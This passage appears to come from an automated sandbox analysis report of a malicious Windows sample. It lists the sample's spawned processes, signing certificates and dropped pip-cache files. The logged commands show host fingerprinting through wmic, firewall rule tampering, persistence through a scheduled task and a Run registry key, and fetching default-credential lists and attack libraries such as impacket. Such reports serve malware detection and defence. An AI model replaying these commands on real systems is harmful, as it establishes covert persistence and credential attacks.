"00000000-00005936.00000000.182903.1FF40000.00000004.mdmp") Found string "WLDAP32.dll" (Source: "00000000-00005936.00000000.182903.1FF40000.00000004.mdmp") Found string ":\WINDOWS\System32\WLDAP32.dll" (Source: "00000000-00007560.00000000.182544.4D3B0000.00000004.mdmp") Found string "WLDAP32.dll" (Source: "00000000-00007560.00000000.182544.4D3B0000.00000004.mdmp") Found string ":\WINDOWS\System32\WLDAP32.dll" (Source: "00000000-00008852.00000000.181116.65F30000.00000004.mdmp") Found string "WLDAP32.dll" (Source: "00000000-00008852.00000000.181116.65F30000.00000004.mdmp")58:Tc86,Spawned process "cmd.exe" with commandline "/c "ver"" (UID: 00000000-00004724) Spawned process "python.exe" with commandline "-m pip install -q --disable-pip-version-check --no-input --no-wa ..." (UID: 00000000-00007600) Spawned process "cmd.exe" with commandline "/c "ver"" (UID: 00000000-00001148) Spawned process "cmd.exe" with commandline "/c "wmic computersystem get model"" (UID: 00000000-00003264) Spawned process "WMIC.exe" with commandline "wmic computersystem get model" (UID: 00000000-00001520) Spawned process "cmd.exe" with commandline "/c "wmic bios get serialnumber"" (UID: 00000000-00006896) Spawned process "WMIC.exe" with commandline "wmic bios get serialnumber" (UID: 00000000-00001508) Spawned process "cmd.exe" with commandline "/c "netsh advfirewall firewall delete rule name="k9 py" >nul 2>& ..." (UID: 00000000-00002820), Spawned process "netsh.exe" with commandline "netsh advfirewall firewall delete rule name="k9 py"" (UID: 00000000-00002060), Spawned process "cmd.exe" with commandline "/c "netsh advfirewall firewall delete rule name="k9 tcp" >nul 2> ..." (UID: 00000000-00002284) Spawned process "netsh.exe" with commandline "netsh advfirewall firewall delete rule name="k9 tcp"" (UID: 00000000-00008852) Spawned process "cmd.exe" with commandline "/c "netsh advfirewall firewall delete rule name="k9 udp" >nul 2> ..." (UID: 00000000-00002736), Spawned process "netsh.exe" with commandline "netsh advfirewall firewall delete rule name="k9 udp"" (UID: 00000000-00002664), Spawned process "cmd.exe" with commandline "/c "netsh advfirewall firewall add rule name="k9 py" dir=in acti ..." (UID: 00000000-00004672) Spawned process "netsh.exe" with commandline "netsh advfirewall firewall add rule name="k9 py" dir=in action= ..." (UID: 00000000-00001896) Spawned process "cmd.exe" with commandline "/c "netsh advfirewall firewall add rule name="k9 tcp" dir=in act ..." (UID: 00000000-00003760), Spawned process "netsh.exe" with commandline "netsh advfirewall firewall add rule name="k9 tcp" dir=in action ..." (UID: 00000000-00004364), Spawned process "cmd.exe" with commandline "/c "netsh advfirewall firewall add rule name="k9 udp" dir=in act ..." (UID: 00000000-00004760) Spawned process "netsh.exe" with commandline "netsh advfirewall firewall add rule name="k9 udp" dir=in action ..." (UID: 00000000-00007560) Spawned process "cmd.exe" with commandline "/c "netsh advfirewall firewall add rule name="k9 out" dir=out ac ..." (UID: 00000000-00007936), Spawned process "netsh.exe" with commandline "netsh advfirewall firewall add rule name="k9 out" dir=out actio ..." (UID: 00000000-00005936), Spawned process "cmd.exe" with commandline "/c "schtasks /create /tn WinSvcHost /tr "'%APPDATA%\\Microsoft\\ ..." (UID: 00000000-00005560), Spawned process "schtasks.exe" with commandline "schtasks /create /tn WinSvcHost /tr "'%APPDATA%\\Microsoft\\Win ..." (UID: 00000000-00008220), Spawned process "cmd.exe" with commandline "/c "reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\ ..." (UID: 00000000-00006928) Spawned process "reg.exe" with commandline "reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run ..." (UID: 00000000-00001164)59:Tc86,Spawned process "cmd.exe" with commandline "/c "ver"" (UID: 00000000-00004724) Spawned process "python.exe" with commandline "-m pip install -q --disable-pip-version-check --no-input --no-wa ..." (UID: 00000000-00007600) Spawned process "cmd.exe" with commandline "/c "ver"" (UID: 00000000-00001148) Spawned process "cmd.exe" with commandline "/c "wmic computersystem get model"" (UID: 00000000-00003264) Spawned process "WMIC.exe" with commandline "wmic computersystem get model" (UID: 00000000-00001520) Spawned process "cmd.exe" with commandline "/c "wmic bios get serialnumber"" (UID: 00000000-00006896) Spawned process "WMIC.exe" with commandline "wmic bios get serialnumber" (UID: 00000000-00001508) Spawned process "cmd.exe" with commandline "/c "netsh advfirewall firewall delete rule name="k9 py" >nul 2>& ..." (UID: 00000000-00002820), Spawned process "netsh.exe" with commandline "netsh advfirewall firewall delete rule name="k9 py"" (UID: 00000000-00002060), Spawned process "cmd.exe" with commandline "/c "netsh advfirewall firewall delete rule name="k9 tcp" >nul 2> ..." (UID: 00000000-00002284) Spawned process "netsh.exe" with commandline "netsh advfirewall firewall delete rule name="k9 tcp"" (UID: 00000000-00008852) Spawned process "cmd.exe" with commandline "/c "netsh advfirewall firewall delete rule name="k9 udp" >nul 2> ..." (UID: 00000000-00002736), Spawned process "netsh.exe" with commandline "netsh advfirewall firewall delete rule name="k9 udp"" (UID: 00000000-00002664), Spawned process "cmd.exe" with commandline "/c "netsh advfirewall firewall add rule name="k9 py" dir=in acti ..." (UID: 00000000-00004672) Spawned process "netsh.exe" with commandline "netsh advfirewall firewall add rule name="k9 py" dir=in action= ..." (UID: 00000000-00001896) Spawned process "cmd.exe" with commandline "/c "netsh advfirewall firewall add rule name="k9 tcp" dir=in act ..." (UID: 00000000-00003760), Spawned process "netsh.exe" with commandline "netsh advfirewall firewall add rule name="k9 tcp" dir=in action ..." (UID: 00000000-00004364), Spawned process "cmd.exe" with commandline "/c "netsh advfirewall firewall add rule name="k9 udp" dir=in act ..." (UID: 00000000-00004760) Spawned process "netsh.exe" with commandline "netsh advfirewall firewall add rule name="k9 udp" dir=in action ..." (UID: 00000000-00007560) Spawned process "cmd.exe" with commandline "/c "netsh advfirewall firewall add rule name="k9 out" dir=out ac ..." (UID: 00000000-00007936), Spawned process "netsh.exe" with commandline "netsh advfirewall firewall add rule name="k9 out" dir=out actio ..." (UID: 00000000-00005936), Spawned process "cmd.exe" with commandline "/c "schtasks /create /tn WinSvcHost /tr "'%APPDATA%\\Microsoft\\ ..." (UID: 00000000-00005560), Spawned process "schtasks.exe" with commandline "schtasks /create /tn WinSvcHost /tr "'%APPDATA%\\Microsoft\\Win ..." (UID: 00000000-00008220), Spawned process "cmd.exe" with commandline "/c "reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\ ..." (UID: 00000000-00006928) Spawned process "reg.exe" with commandline "reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run ..." (UID: 00000000-00001164)5a:T73e,The input sample is signed with a certificate issued by "CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com Inc.", L=Scottsdale, ST=Arizona, C=US" (SHA1: EC:27:13:72:1E:6C:94:9F:47:59:A4:24:4F:AB:9B:02:E3:6E:54:41; see report for more information) The input sample is signed with a certificate issued by "CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com Inc.", L=Scottsdale, ST=Arizona, C=US" (SHA1: 27:AC:93:69:FA:F2:52:07:BB:26:27:CE:FA:CC:BE:4E:F9:C3:19:B8; see report for more information) The input sample is signed with a certificate issued by "CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com Inc.", L=Scottsdale, ST=Arizona, C=US" (SHA1: 47:BE:AB:C9:22:EA:E8:0E:78:78:34:62:A7:9F:45:C2:54:FD:E6:8B; see report for more information) The input sample is signed with a certificate issued by "CN=GlobalSign Atlas R3 DV TLS CA 2025 Q4, O=GlobalSign nv-sa, C=BE" (SHA1: 36:0A:76:32:A6:8F:B2:9C:C6:C1:C4:25:66:45:BA:D2:D2:88:66:84; see report for more information) The input sample is signed with a certificate issued by "CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R3" (SHA1: FC:FA:4D:AC:C7:66:CE:DD:FD:B0:1A:E9:5B:62:C4:D3:5F:0F:B8:65; see report for more information) The input sample is signed with a certificate issued by "CN=YR1, O=Let's Encrypt, C=US" (SHA1: 14:2D:52:A3:EC:DB:FE:52:FF:F8:99:66:A8:A7:44:D1:71:99:8B:CB; see report for more information) The input sample is signed with a certificate issued by "CN=Root YR, O=ISRG, C=US" (SHA1: CB:CF:D0:9C:E3:CD:22:D9:9D:94:E5:8F:92:E9:89:8F:BE:E5:1A:5E; see report for more information) The input sample is signed with a certificate issued by "CN=ISRG Root X1, O=Internet Security Research Group, C=US" (SHA1: AB:9D:02:63:24:4D:D0:32:6E:B6:70:15:70:5A:66:7E:79:CF:E9:98; see report for more information)5b:Tb632,"urlref_httpsraw.githubusercontent.comscadastrangeloveSCADAPASSmasterscadapass.csv" has type "CSV Unicode text UTF-8 text"- [targetUID: N/A] "tmpctr4q2ov" has type "Zip archive data made by v2.0 extract using at least v2.0 last modified Jan 01 1980 00:00:00 uncompressed size 445 method=deflate"- Location: [%TEMP%\tmpctr4q2ov]- [targetUID: 00000000-00007600] "tmpn4bisbyz" has type "Zip archive data made by v2.0 extract using at least v2.0 last modified Nov 05 2026 18:16:44 uncompressed size 191 method=deflate"- Location: [%TEMP%\tmpn4bisbyz]- [targetUID: 00000000-00007600] "tmpn_bia76g" has type "Zip archive data made by v2.0 UNIX extract using at least v2.0 last modified Apr 09 2026 19:54:36 uncompressed size 1183 method=deflate"- Location: [%TEMP%\tmpn_bia76g]- [targetUID: 00000000-00007600] "tmpjgsolde3" has type "Zip archive data made by v2.0 extract using at least v2.0 last modified Jul 17 2021 07:51:20 uncompressed size 4333 method=deflate"- Location: [%TEMP%\tmpjgsolde3]- [targetUID: 00000000-00007600] "tmptsa8x1mf" has type "gzip compressed data max compression original size modulo 2^32 2541868"- Location: [%TEMP%\tmptsa8x1mf]- [targetUID: 00000000-00007600] "dnspython-2.9.2-py3-none-any.whl" has type "Zip archive data made by v6.3 UNIX extract using at least v2.0 last modified Jan 01 1980 00:00:00 uncompressed size 0 method=store"- Location: [%TEMP%\pip-unpack-116kbahr\dnspython-2.9.2-py3-none-any.whl]- [targetUID: 00000000-00007600] "9bc24a0d1af06cebaa67c4cf831029179fb35f7fa224a8d2dbe5006d.bodywfmhq22y.tmp" has type "Zip archive data made by v2.0 UNIX extract using at least v2.0 last modified Sep 27 2026 18:30:24 uncompressed size 165 method=deflate"- Location: [%LOCALAPPDATA%\pip\cache\http-v2\9\b\c\2\4\9bc24a0d1af06cebaa67c4cf831029179fb35f7fa224a8d2dbe5006d.bodywfmhq22y.tmp]- [targetUID: 00000000-00007600] "bca89331ccd256c7bceb619eae9403cb783a2abfa140b99b7dac66a2.bodym_8u6hb2.tmp" has type "Zip archive data made by v2.0 UNIX extract using at least v2.0 last modified Oct 17 2026 22:09:50 uncompressed size 3450 method=deflate"- Location: [%LOCALAPPDATA%\pip\cache\http-v2\b\c\a\8\9\bca89331ccd256c7bceb619eae9403cb783a2abfa140b99b7dac66a2.bodym_8u6hb2.tmp]- [targetUID: 00000000-00007600] "0d14f0a32e377d1190bc8dbae6962e0633b69fffba8a6160afbc8e6f.bodyg81bcs1r.tmp" has type "Zip archive data made by v2.0 UNIX extract using at least v2.0 last modified Mar 28 2025 02:39:52 uncompressed size 65 method=deflate"- Location: [%LOCALAPPDATA%\pip\cache\http-v2\0\d\1\4\f\0d14f0a32e377d1190bc8dbae6962e0633b69fffba8a6160afbc8e6f.bodyg81bcs1r.tmp]- [targetUID: 00000000-00007600] "2aaebf6b506fe2a373b26f648dfc83bfc153f7671297de820141e25a.body8bmnf8wt.tmp" has type "gzip compressed data max compression original size modulo 2^32 1012502"- Location: [%LOCALAPPDATA%\pip\cache\http-v2\2\a\a\e\b\2aaebf6b506fe2a373b26f648dfc83bfc153f7671297de820141e25a.body8bmnf8wt.tmp]- [targetUID: 00000000-00007600] "82a4b75b0492ac0cddfc37543dc76df60c05d492f39e89796c9f2cd3.bodyjcxnhpak.tmp" has type "Zip archive data made by v2.0 UNIX extract using at least v2.0 last modified Apr 05 2026 23:27:54 uncompressed size 2212 method=deflate"- Location: [%LOCALAPPDATA%\pip\cache\http-v2\8\2\a\4\b\82a4b75b0492ac0cddfc37543dc76df60c05d492f39e89796c9f2cd3.bodyjcxnhpak.tmp]- [targetUID: 00000000-00007600] "0d737fcfc0849664d14e4caad2a4866c3dbc9ebadc806e55afbdf549.body4b39vvob.tmp" has type "Zip archive data made by v2.0 extract using at least v2.0 last modified Sep 25 2025 19:42:04 uncompressed size 1000 method=deflate"- Location: [%LOCALAPPDATA%\pip\cache\http-v2\0\d\7\3\7\0d737fcfc0849664d14e4caad2a4866c3dbc9ebadc806e55afbdf549.body4b39vvob.tmp]- [targetUID: 00000000-00007600] "8c30266fb32a23bd1c3978dce0bf0c4bd935f24d3e567feb9e2df799.body4gkee_7r.tmp" has type "Zip archive data made by v2.0 UNIX extract using at least v2.0 last modified Nov 06 2026 06:25:42 uncompressed size 5145 method=deflate"- Location: [%LOCALAPPDATA%\pip\cache\http-v2\8\c\3\0\2\8c30266fb32a23bd1c3978dce0bf0c4bd935f24d3e567feb9e2df799.body4gkee_7r.tmp]- [targetUID: 00000000-00007600] "6b45031933f860a66862d8bbeab086b552ed37baed1b67b4fcc475ec.bodygaiklb70.tmp" has type "Zip archive data made by v2.0 UNIX extract using at least v2.0 last modified Feb 19 2026 03:41:54 uncompressed size 2701 method=deflate"- Location: [%LOCALAPPDATA%\pip\cache\http-v2\6\b\4\5\0\6b45031933f860a66862d8bbeab086b552ed37baed1b67b4fcc475ec.bodygaiklb70.tmp]- [targetUID: 00000000-00007600] "tmpexyubvuu" has type "Zip archive data made by v2.0 UNIX extract using at least v2.0 last modified Oct 27 2026 06:32:26 uncompressed size 66 method=deflate"- Location: [%TEMP%\tmpexyubvuu]- [targetUID: 00000000-00007600] "34e542d91615b0c756d5e520848b0d106c12a418e67932313394eaa7.body5fygzkko.tmp" has type "gzip compressed data max compression original size modulo 2^32 393716"- Location: [%LOCALAPPDATA%\pip\cache\http-v2\3\4\e\5\4\34e542d91615b0c756d5e520848b0d106c12a418e67932313394eaa7.body5fygzkko.tmp]- [targetUID: 00000000-00007600] "tmpliz2ld04" has type "gzip compressed data max compression original size modulo 2^32 155736"- Location: [%TEMP%\tmpliz2ld04]- [targetUID: 00000000-00007600] "tmp3wt9a_pc" has type "gzip compressed data max compression original size modulo 2^32 126776"- Location: [%TEMP%\tmp3wt9a_pc]- [targetUID: 00000000-00007600] "tmpq76j4cnv" has type "gzip compressed data max compression original size modulo 2^32 122033"- Location: [%TEMP%\tmpq76j4cnv]- [targetUID: 00000000-00007600] "9cc6939c61442ece13bdcac1a4f63ac9be8b2e7a5a8148e85ca678e2.body14uzbkvu.tmp" has type "gzip compressed data max compression original size modulo 2^32 100201"- Location: [%LOCALAPPDATA%\pip\cache\http-v2\9\c\c\6\9\9cc6939c61442ece13bdcac1a4f63ac9be8b2e7a5a8148e85ca678e2.body14uzbkvu.tmp]- [targetUID: 00000000-00007600] "37011a92decbae054354ac044e6397d39bab33bb4b04aee2fbe1fb56.bodyrjw230ed.tmp" has type "Unknown"- Location: [%LOCALAPPDATA%\pip\cache\http-v2\3\7\0\1\1\37011a92decbae054354ac044e6397d39bab33bb4b04aee2fbe1fb56.bodyrjw230ed.tmp]- [targetUID: 00000000-00007600] "tmpwec30xs8" has type "gzip compressed data max compression original size modulo 2^32 84504"- Location: [%TEMP%\tmpwec30xs8]- [targetUID: 00000000-00007600] "tmpgfp5nmk1" has type "gzip compressed data max compression original size modulo 2^32 84909"- Location: [%TEMP%\tmpgfp5nmk1]- [targetUID: 00000000-00007600] "urlref_httpschemas.xmlsoap.orgsoapencoding" has type "Unknown"- [targetUID: N/A] "716b600475402da1427ef22d8bc6f89797db25581f58222fadd3d344.bodyeexugh9z.tmp" has type "Zip archive data made by v2.0 UNIX extract using at least v2.0 last modified Apr 04 2025 07:09:30 uncompressed size 45433 method=deflate"- Location: [%LOCALAPPDATA%\pip\cache\http-v2\7\1\6\b\6\716b600475402da1427ef22d8bc6f89797db25581f58222fadd3d344.bodyeexugh9z.tmp]- [targetUID: 00000000-00007600] "tmp5kgkaszt" has type "gzip compressed data max compression original size modulo 2^32 68578"- Location: [%TEMP%\tmp5kgkaszt]- [targetUID: 00000000-00007600] "tmp8e1h2ty8" has type "Zip archive data made by v2.0 UNIX extract using at least v2.0 last modified Apr 16 2024 21:19:20 uncompressed size 1427 method=deflate"- Location: [%TEMP%\tmp8e1h2ty8]- [targetUID: 00000000-00007600] "tmppal4zk40" has type "gzip compressed data max compression original size modulo 2^32 61988"- Location: [%TEMP%\tmppal4zk40]- [targetUID: 00000000-00007600] "1e6f2fa1119d47b853219feb91c3867d411e0c8c02476d1e769171e8.body0f0oz1qx.tmp" has type "gzip compressed data max compression original size modulo 2^32 56105"- Location: [%LOCALAPPDATA%\pip\cache\http-v2\1\e\6\f\2\1e6f2fa1119d47b853219feb91c3867d411e0c8c02476d1e769171e8.body0f0oz1qx.tmp]- [targetUID: 00000000-00007600] "METADATA" has type "Unknown"- Location: [%TEMP%\pip-metadata-ccekkf74\METADATA]- [targetUID: 00000000-00008020] "urlref_httpsraw.githubusercontent.comdanielmiesslerSecListsmasterPasswordsDefault-Credentialsdefault-passwords.txt" has type "Unknown"- [targetUID: N/A] "30d4e87d14e60af7dc987765da5deb104b436d2a6d316aab8420bff8.body3cyrlp3d.tmp" has type "gzip compressed data max compression original size modulo 2^32 32366"- Location: [%LOCALAPPDATA%\pip\cache\http-v2\3\0\d\4\e\30d4e87d14e60af7dc987765da5deb104b436d2a6d316aab8420bff8.body3cyrlp3d.tmp]- [targetUID: 00000000-00007600] "55e89b09594758366a997abbae14a69af04566121efa35f87cbadc71.body10fffqwa.tmp" has type "Zip archive data made by v2.0 UNIX extract using at least v2.0 last modified Nov 08 2024 17:22:44 uncompressed size 317 method=deflate"- Location: [%LOCALAPPDATA%\pip\cache\http-v2\5\5\e\8\9\55e89b09594758366a997abbae14a69af04566121efa35f87cbadc71.body10fffqwa.tmp]- [targetUID: 00000000-00007600] "368c6e8d89d86908116600539bcfea26d2334f5c9c8adf425246f9ab.bodyzmhg9r6j.tmp" has type "Python script ASCII text executable"- Location: [%LOCALAPPDATA%\pip\cache\http-v2\3\6\8\c\6\368c6e8d89d86908116600539bcfea26d2334f5c9c8adf425246f9ab.bodyzmhg9r6j.tmp]- [targetUID: 00000000-00007600] "urlref_httpschemas.xmlsoap.orgsoapenvelope" has type "Unknown"- [targetUID: N/A] "impacket-0.13.1-py3-none-any.whl.metadata" has type "Unknown"- Location: [%TEMP%\pip-unpack-quprr_uj\impacket-0.13.1-py3-none-any.whl.metadata]- [targetUID: 00000000-00007600] "tmpu8vzkjs_" has type "Unknown"- Location: [%TEMP%\tmpu8vzkjs_]- [targetUID: 00000000-00007600] "tmpihc6ms48" has type "Unknown"- Location: [%TEMP%\tmpihc6ms48]- [targetUID: 00000000-00007600] "85385fd8a53d3d88ac67db4bf015be7ba931f024227668d42969ea92.bodykbn6_txu.tmp" has type "gzip compressed data max compression original size modulo 2^32 18239"- Location: [%LOCALAPPDATA%\pip\cache\http-v2\8\5\3\8\5\85385fd8a53d3d88ac67db4bf015be7ba931f024227668d42969ea92.bodykbn6_txu.tmp]- [targetUID: 00000000-00007600] "tmp27zza6xx" has type "gzip compressed data max compression original size modulo 2^32 17455"- Location: [%TEMP%\tmp27zza6xx]- [targetUID: 00000000-00007600] "692ec231cbc72e0dffbe16e12652153a0e370b1f7b1ae418d5ffcb83.bodysyhclf65.tmp" has type "Unknown"- Location: [%LOCALAPPDATA%\pip\cache\http-v2\6\9\2\e\c\692ec231cbc72e0dffbe16e12652153a0e370b1f7b1ae418d5ffcb83.bodysyhclf65.tmp]- [targetUID: 00000000-00007600] "werkzeug-3.1.9-py3-none-any.whl.metadata" has type "Python script ASCII text executable"- Location: [%TEMP%\pip-unpack-7vhp9gqk\werkzeug-3.1.9-py3-none-any.whl.metadata]- [targetUID: 00000000-00007600] "tmptprm0zpe" has type "gzip compressed data max compression original size modulo 2^32 13646"- Location: [%TEMP%\tmptprm0zpe]- [targetUID: 00000000-00007600] "paramiko-5.1.0-py3-none-any.whl.metadata" has type "Unknown"- Location: [%TEMP%\pip-unpack-paqj_a2e\paramiko-5.1.0-py3-none-any.whl.metadata]- [targetUID: 00000000-00007600] "tmprgw0n_ve" has type "Unknown"- Location: [%TEMP%\tmprgw0n_ve]- [targetUID: 00000000-00007600] "tmpeqf7e__m" has type "Unknown"- Location: [%TEMP%\tmpeqf7e__m]- [targetUID: 00000000-00007600] "METADATA" has type "Unknown"- Location: [%TEMP%\pip-metadata-bb__dgf6\METADATA]- [targetUID: 00000000-00008020] "METADATA" has type "Python script ASCII text executable"- Location: [%TEMP%\pip-metadata-h757qty4\METADATA]- [targetUID: 00000000-00008020] "f7bfd6930f734dd3e11fa3ea15d0e76bfe62e81899114cb8257f67b4.bodytkvud8qv.tmp" has type "Python script ASCII text executable"- Location: [%LOCALAPPDATA%\pip\cache\http-v2\f\7\b\f\d\f7bfd6930f734dd3e11fa3ea15d0e76bfe62e81899114cb8257f67b4.bodytkvud8qv.tmp]- [targetUID: 00000000-00007600] "tmpipqj6t0p" has type "gzip compressed data max compression original size modulo 2^32 8665"- Location: [%TEMP%\tmpipqj6t0p]- [targetUID: 00000000-00007600] "d6a5d0856a7e93554e8be85cae6a61e3c3d38bd36521d22d8c0dc50e.body4ih8buiv.tmp" has type "Python script ASCII text executable"- Location: [%LOCALAPPDATA%\pip\cache\http-v2\d\6\a\5\d\d6a5d0856a7e93554e8be85cae6a61e3c3d38bd36521d22d8c0dc50e.body4ih8buiv.tmp]- [targetUID: 00000000-00007600] "a46b74c1407dd55ebf9eeb7eb2c73000028b7639a6ed9edc7981950cj4bu04bb.tmp" has type "Unknown"- Location: [%LOCALAPPDATA%\pip\cache\http-v2\a\4\6\b\7\a46b74c1407dd55ebf9eeb7eb2c73000028b7639a6ed9edc7981950cj4bu04bb.tmp]- [targetUID: 00000000-00007600] "34e542d91615b0c756d5e520848b0d106c12a418e67932313394eaa7rstc8dz7.tmp" has type "Unknown"- Location: [%LOCALAPPDATA%\pip\cache\http-v2\3\4\e\5\4\34e542d91615b0c756d5e520848b0d106c12a418e67932313394eaa7rstc8dz7.tmp]- [targetUID: 00000000-00007600] "3a1c7a8390a01e2866c987ccb52d86a29a0498e089a9d35d19c02a63oju_mhcn.tmp" has type "Unknown"- Location: [%LOCALAPPDATA%\pip\cache\http-v2\3\a\1\c\7\3a1c7a8390a01e2866c987ccb52d86a29a0498e089a9d35d19c02a63oju_mhcn.tmp]- [targetUID: 00000000-00007600] "4374db2dad7a8fb0f740927aa8b73cd505232c538ba96acd90bf0e9am1cqt7l7.tmp" has type "Unknown"- Location: [%LOCALAPPDATA%\pip\cache\http-v2\4\3\7\4\d\4374db2dad7a8fb0f740927aa8b73cd505232c538ba96acd90bf0e9am1cqt7l7.tmp]- [targetUID: 00000000-00007600] "aad463972d370084ab3547d18c6b8ec1979cd6dc88f8a8323425aa32kai6390h.tmp" has type "Unknown"- Location: [%LOCALAPPDATA%\pip\cache\http-v2\a\a\d\4\6\aad463972d370084ab3547d18c6b8ec1979cd6dc88f8a8323425aa32kai6390h.tmp]- [targetUID: 00000000-00007600] "226e20ef37baae18486c4b142f19362b0176ef112b8135637169c623vy52gqle.tmp" has type "Unknown"- Location: [%LOCALAPPDATA%\pip\cache\http-v2\2\2\6\e\2\226e20ef37baae18486c4b142f19362b0176ef112b8135637169c623vy52gqle.tmp]- [targetUID: 00000000-00007600] "cdc9c25eabfd68f556dcb153dec32bed3191d46a2f441fdd5fb09d740te5h35o.tmp" has type "Unknown"- Location: [%LOCALAPPDATA%\pip\cache\http-v2\c\d\c\9\c\cdc9c25eabfd68f556dcb153dec32bed3191d46a2f441fdd5fb09d740te5h35o.tmp]- [targetUID: 00000000-00007600] "77aa171ead2127e3e8ed71b509659f3ec1728b80afa6a8a2c8e4e7baq5ld10ik.tmp" has type "Unknown"- Location: [%LOCALAPPDATA%\pip\cache\http-v2\7\7\a\a\1\77aa171ead2127e3e8ed71b509659f3ec1728b80afa6a8a2c8e4e7baq5ld10ik.tmp]- [targetUID: 00000000-00007600] "f5bf61d556317048ec0f8d64e24ac9dde22abca94241aa5ff4a4e7915se67lpd.tmp" has type "Unknown"- Location: [%LOCALAPPDATA%\pip\cache\http-v2\f\5\b\f\6\f5bf61d556317048ec0f8d64e24ac9dde22abca94241aa5ff4a4e7915se67lpd.tmp]- [targetUID: 00000000-00007600] "1e6f2fa1119d47b853219feb91c3867d411e0c8c02476d1e769171e803y_h0rg.tmp" has type "Unknown"- Location: [%LOCALAPPDATA%\pip\cache\http-v2\1\e\6\f\2\1e6f2fa1119d47b853219feb91c3867d411e0c8c02476d1e769171e803y_h0rg.tmp]- [targetUID: 00000000-00007600] "9cc6939c61442ece13bdcac1a4f63ac9be8b2e7a5a8148e85ca678e2q5bamrha.tmp" has type "Unknown"- [targetUID: 00000000-00007600] "85385fd8a53d3d88ac67db4bf015be7ba931f024227668d42969ea92grj7y1e_.tmp" has type "Unknown"- Location: [%LOCALAPPDATA%\pip\cache\http-v2\8\5\3\8\5\85385fd8a53d3d88ac67db4bf015be7ba931f024227668d42969ea92grj7y1e_.tmp]- [targetUID: 00000000-00007600] "8ac4d14dc45e27d21da49fb515570b6f875b78707de9b08ce1088d1b24m48gdb.tmp" has type "Unknown"- Location: [%LOCALAPPDATA%\pip\cache\http-v2\8\a\c\4\d\8ac4d14dc45e27d21da49fb515570b6f875b78707de9b08ce1088d1b24m48gdb.tmp]- [targetUID: 00000000-00007600] "2aaebf6b506fe2a373b26f648dfc83bfc153f7671297de820141e25ai1q9cka_.tmp" has type "Unknown"- Location: [%LOCALAPPDATA%\pip\cache\http-v2\2\a\a\e\b\2aaebf6b506fe2a373b26f648dfc83bfc153f7671297de820141e25ai1q9cka_.tmp]- [targetUID: 00000000-00007600] "d87b20140422fe8fc3ccde46b57b4155e6a64e089bd003244f1b408bny7rwrw9.tmp" has type "Unknown"- Location: [%LOCALAPPDATA%\pip\cache\http-v2\d\8\7\b\2\d87b20140422fe8fc3ccde46b57b4155e6a64e089bd003244f1b408bny7rwrw9.tmp]- [targetUID: 00000000-00007600] "30d4e87d14e60af7dc987765da5deb104b436d2a6d316aab8420bff8rgfbcj1x.tmp" has type "Unknown"- Location: [%LOCALAPPDATA%\pip\cache\http-v2\3\0\d\4\e\30d4e87d14e60af7dc987765da5deb104b436d2a6d316aab8420bff8rgfbcj1x.tmp]- [targetUID: 00000000-00007600] "9f292e59213099651b5fcfd03d5cd2be236234e87bcc0df5dbd85d73j71hodyw.tmp" has type "Unknown"- Location: [%LOCALAPPDATA%\pip\cache\http-v2\9\f\2\9\2\9f292e59213099651b5fcfd03d5cd2be236234e87bcc0df5dbd85d73j71hodyw.tmp]- [targetUID: 00000000-00007600] "METADATA" has type "Unknown"- Location: [%TEMP%\pip-metadata-k2erd6yj\METADATA]- [targetUID: 00000000-00008020] "692ec231cbc72e0dffbe16e12652153a0e370b1f7b1ae418d5ffcb83iq73v953.tmp" has type "Unknown"- Location: [%LOCALAPPDATA%\pip\cache\http-v2\6\9\2\e\c\692ec231cbc72e0dffbe16e12652153a0e370b1f7b1ae418d5ffcb83iq73v953.tmp]- [targetUID: 00000000-00007600] "7144c495e80dd4401a01db6a6dce69b7d606f22805cd81a86d138c05kit3z7k4.tmp" has type "Unknown"- Location: [%LOCALAPPDATA%\pip\cache\http-v2\7\1\4\4\c\7144c495e80dd4401a01db6a6dce69b7d606f22805cd81a86d138c05kit3z7k4.tmp]- [targetUID: 00000000-00007600] "e2733b4191d6783e32936b609b4776df230b330a94b095d94762c012r5_b41pc.tmp" has type "Unknown"- Location: [%LOCALAPPDATA%\pip\cache\http-v2\e\2\7\3\3\e2733b4191d6783e32936b609b4776df230b330a94b095d94762c012r5_b41pc.tmp]- [targetUID: 00000000-00007600] "368c6e8d89d86908116600539bcfea26d2334f5c9c8adf425246f9aby86x6pt8.tmp" has type "Unknown"- Location: [%LOCALAPPDATA%\pip\cache\http-v2\3\6\8\c\6\368c6e8d89d86908116600539bcfea26d2334f5c9c8adf425246f9aby86x6pt8.tmp]- [targetUID: 00000000-00007600] "12403867d31fb21b598353b2e212a6e77a3291c70491268c488863fb3avw5gxp.tmp" has type "Unknown"- Location: [%LOCALAPPDATA%\pip\cache\http-v2\1\2\4\0\3\12403867d31fb21b598353b2e212a6e77a3291c70491268c488863fb3avw5gxp.tmp]- [targetUID: 00000000-00007600] "3643e8b9a8e4c754a0fe71d3a129495c8c18a818eb9dfad95ad09c7473k44fqs.tmp" has type "Unknown"- Location: [%LOCALAPPDATA%\pip\cache\http-v2\3\6\4\3\e\3643e8b9a8e4c754a0fe71d3a129495c8c18a818eb9dfad95ad09c7473k44fqs.tmp]- [targetUID: 00000000-00007600] "37011a92decbae054354ac044e6397d39bab33bb4b04aee2fbe1fb56w4b6ypv9.tmp" has type "Unknown"- Location: [%LOCALAPPDATA%\pip\cache\http-v2\3\7\0\1\1\37011a92decbae054354ac044e6397d39bab33bb4b04aee2fbe1fb56w4b6ypv9.tmp]- [targetUID: 00000000-00007600] "e773f8d8fc51724b9d188d50a83b1c479464c8d90309c39dc78cf36ep_jkz5jq.tmp" has type "Unknown"- Location: [%LOCALAPPDATA%\pip\cache\http-v2\e\7\7\3\f\e773f8d8fc51724b9d188d50a83b1c479464c8d90309c39dc78cf36ep_jkz5jq.tmp]- [targetUID: 00000000-00007600] "a2c7fb2f56be3b29a2d7321b28cab6b1cac04b0c15609403c9f0d984pbjhcchq.tmp" has type "Unknown"- Location: [%LOCALAPPDATA%\pip\cache\http-v2\a\2\c\7\f\a2c7fb2f56be3b29a2d7321b28cab6b1cac04b0c15609403c9f0d984pbjhcchq.tmp]- [targetUID: 00000000-00007600] 